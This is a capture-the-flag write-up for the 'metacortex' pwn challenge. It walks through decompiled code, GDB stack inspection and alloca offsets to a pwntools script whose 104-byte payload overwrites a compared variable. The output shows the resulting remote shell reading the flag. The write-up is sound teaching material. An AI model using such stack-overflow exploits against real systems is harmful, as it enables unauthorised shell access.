Tags: bof pwn
Rating:
100
This company is one of the top software companies in the world, because every single employee knows that they are part of a whole. Thus, if an employee has a problem, the company has a problem.
nc chal.ctf.b01lers.com 1014
Tags: pwn x86-64 remote-shell bof alloca
Classic buffer overflow from one variable to another to pass a check, however alloca
adds a small twist.
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Nice! All mitigations in place.
undefined8 main(void)
{
long lVar1;
int iVar2;
undefined *puVar3;
undefined *puVar4;
long in_FS_OFFSET;
undefined auStack56 [8];
long *local_30;
ulong local_28;
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
puVar3 = auStack56;
while (puVar3 != auStack56) {
*(undefined8 *)(puVar3 + -8) = *(undefined8 *)(puVar3 + -8);
puVar3 = puVar3 + -0x1000;
}
*(undefined8 *)(puVar3 + -8) = *(undefined8 *)(puVar3 + -8);
local_30 = (long *)((ulong)(puVar3 + -1) & 0xfffffffffffffff0);
puVar4 = puVar3 + -0x10;
while (puVar4 != puVar3 + -0x10) {
*(undefined8 *)(puVar4 + -8) = *(undefined8 *)(puVar4 + -8);
puVar4 = puVar4 + -0x1000;
}
*(undefined8 *)(puVar4 + -8) = *(undefined8 *)(puVar4 + -8);
local_28 = (ulong)(puVar4 + -0x41) & 0xfffffffffffffff0;
*(long *)((ulong)(puVar3 + -1) & 0xfffffffffffffff0) = 0x1011e9;
*(undefined8 *)(puVar4 + -0x58) = 0x101365;
puts("Work for the respectable software company, Neo.",puVar4[-0x58]);
*(undefined8 *)(puVar4 + -0x58) = 0x10137b;
read(0,local_28,0x80,puVar4[-0x58]);
lVar1 = *local_30;
*(undefined8 *)(puVar4 + -0x58) = 0x101395;
iVar2 = atoi(local_28,puVar4[-0x58]);
if (lVar1 >> 0x20 == (long)iVar2) {
*(undefined8 *)(puVar4 + -0x58) = 0x1013a8;
system("/bin/sh",puVar4[-0x58]);
}
if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
return 0;
}
/* WARNING: Subroutine does not return */
*(undefined8 *)(puVar4 + -0x58) = 0x1013c1;
__stack_chk_fail();
}
To get a shell we need to pass this check: if (lVar1 >> 0x20 == (long)iVar2) {
.
Following along the decompilation was not very helpful, however the disassembly...
00101258 48 f7 f6 DIV RSI
0010125b 48 6b c0 10 IMUL RAX,RAX,0x10
0010125f 48 89 c2 MOV RDX,RAX
00101262 48 81 e2 AND RDX,-0x1000
00 f0 ff ff
This pattern is from alloca
. Think malloc
, but in stack.
Also note that local_28
is a pointer (see above), below local_28
is set from alloca
:
local_28 = (ulong)(puVar4 + -0x41) & 0xfffffffffffffff0;
*(long *)((ulong)(puVar3 + -1) & 0xfffffffffffffff0) = 0x1011e9;
*(undefined8 *)(puVar4 + -0x58) = 0x101365;
puts("Work for the respectable software company, Neo.",puVar4[-0x58]);
*(undefined8 *)(puVar4 + -0x58) = 0x10137b;
read(0,local_28,0x80,puVar4[-0x58]);
At this point instead of trying to figure out the math statically, I opted to use GDB; set a breakpoint just before the read and after the read, and then looked at the stack:
gef➤ b *main+397
Breakpoint 1 at 0x1376
gef➤ b *main+402
Breakpoint 2 at 0x137b
gef➤ gef config context.nb_lines_stack 32
gef➤ r
Stack after read
:
0x00007fffffffe2c0│+0x0000: "AAAAAAAA\n" ← $rsp, $rsi
0x00007fffffffe2c8│+0x0008: 0x000000000000000a
0x00007fffffffe2d0│+0x0010: 0x00007ffff7fae4a0 → 0x0000000000000000
0x00007fffffffe2d8│+0x0018: 0x00007ffff7e526bd → <_IO_file_setbuf+13> test rax, rax
0x00007fffffffe2e0│+0x0020: 0x00007ffff7fad5c0 → 0x00000000fbad2087
0x00007fffffffe2e8│+0x0028: 0x00007ffff7e48f65 → <setvbuf+261> xor r8d, r8d
0x00007fffffffe2f0│+0x0030: 0x00005555555553d0 → <__libc_csu_init+0> endbr64
0x00007fffffffe2f8│+0x0038: 0x00007fffffffe350 → 0x0000000000000000
0x00007fffffffe300│+0x0040: 0x0000555555555100 → <_start+0> endbr64
0x00007fffffffe308│+0x0048: 0x00007fffffffe440 → 0x0000000000000001
0x00007fffffffe310│+0x0050: 0x00005555555551e9 → <main+0> endbr64 ← $rbx
0x00007fffffffe318│+0x0058: 0x0000555555555241 → <main+88> mov eax, 0x10
0x00007fffffffe320│+0x0060: 0x00007ffff7fb1fc8 → 0x0000000000000000
0x00007fffffffe328│+0x0068: 0x00007fffffffe310 → 0x00005555555551e9 → <main+0> endbr64
0x00007fffffffe330│+0x0070: 0x00007fffffffe2c0 → "AAAAAAAA\n"
0x00007fffffffe338│+0x0078: 0x80214a39ea503000
0x00007fffffffe340│+0x0080: 0x00007fffffffe440 → 0x0000000000000001
0x00007fffffffe348│+0x0088: 0x00005555555553d0 → <__libc_csu_init+0> endbr64
0x00007fffffffe350│+0x0090: 0x0000000000000000 ← $rbp
0x00007fffffffe358│+0x0098: 0x00007ffff7de80b3 → <__libc_start_main+243> mov edi, eax
local_28
(+0x70
) is pointing 0x90
above $rbp
.
local_28
is0x28
above the return address (thanks Ghidra), making it0x20
above$rbp
, since$rbp
is at+0x90
, subtract0x20
to findlocal_28
in stack (+0x70
). Notice is value is pointing to0x00007fffffffe2c0
(+0x00
).
The compare is with local_30
(see the decompile where lVar1
is set to *local_30
). local_30
is 0x30+8
from $rbp
(local_30
in Ghidra is 0x30
from the return address and $rbp
is just above that). Since 0x90 - 0x30 + 8 = 104
, if we write 104
bytes we'll overwrite local_30
and control the compare.
The read
liberally allows 0x80
(128) bytes, so we're good here. A payload of a 0
+ 103 nulls should get us a shell.
The 0
is for the atoi
. atoi
will stop at the first null. The nulls in local_30
give us a matching zero.
#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./metacortex')
context.log_level = 'INFO'
if not args.REMOTE:
context.log_file = 'local.log'
p = process(binary.path)
else:
context.log_file = 'remote.log'
p = remote('chal.ctf.b01lers.com', 1014)
payload = b'0' + 103 * b'\0'
p.sendafter('Work for the respectable software company, Neo.\n',payload)
p.interactive()
Output:
# ./exploit.py REMOTE=1
[*] '/pwd/datajerk/b01lersbootcampctf2020/metacortex/metacortex'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to chal.ctf.b01lers.com on port 1014: Done
[*] Switching to interactive mode
$ id
uid=1000(metacortex) gid=1000(metacortex) groups=1000(metacortex)
$ ls -l
total 36
-r-xr-x--- 1 root metacortex 66 Oct 2 15:31 Makefile
-r--r----- 1 root metacortex 28 Oct 2 15:31 flag.txt
-r-xr-x--- 1 root metacortex 17040 Oct 3 04:07 metacortex
-r-xr-x--- 1 root metacortex 396 Oct 2 15:31 metacortex.c
-r-xr-x--- 1 root metacortex 49 Oct 2 15:31 wrapper.sh
$ cat flag.txt
flag{Ne0_y0uAre_d0ing_well}